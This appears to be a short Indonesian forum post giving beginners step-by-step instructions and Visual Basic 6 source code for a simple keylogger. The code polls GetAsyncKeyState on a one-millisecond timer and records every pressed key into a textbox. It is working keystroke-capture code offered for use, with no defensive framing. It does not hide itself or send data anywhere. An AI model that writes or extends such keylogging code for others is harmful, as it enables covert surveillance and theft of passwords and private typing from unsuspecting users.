semua ada disini

mungkin rada basi...buat yg pinter vb tapi lumayan kan buat yg blom tau.....
dah lansung ajah ya....

1.buka vb mu dan pilih standard exe
2. tambahin :
-1text
-1timer



3.klik kanan di from1 terus pilih view code

terus copas ni codenya :

Private declare function GetAsyncKeyState lib "user32" (ByVal vkey as long) as integer
Private Sub Form_Load ()
Timer1.Interval = 1
Timer1.Enabled = TrueEnd Sub

Private Sub Timer1_Timer ()
Dim a As Integer
For a = 1 To 255
if GetAsyncKeyState (a) = -32767 Then
Text1.Text = Text1.Text & Chr (a)
End if
Next aEnd Sub

dah segini dlo ajah.... nanti update lagi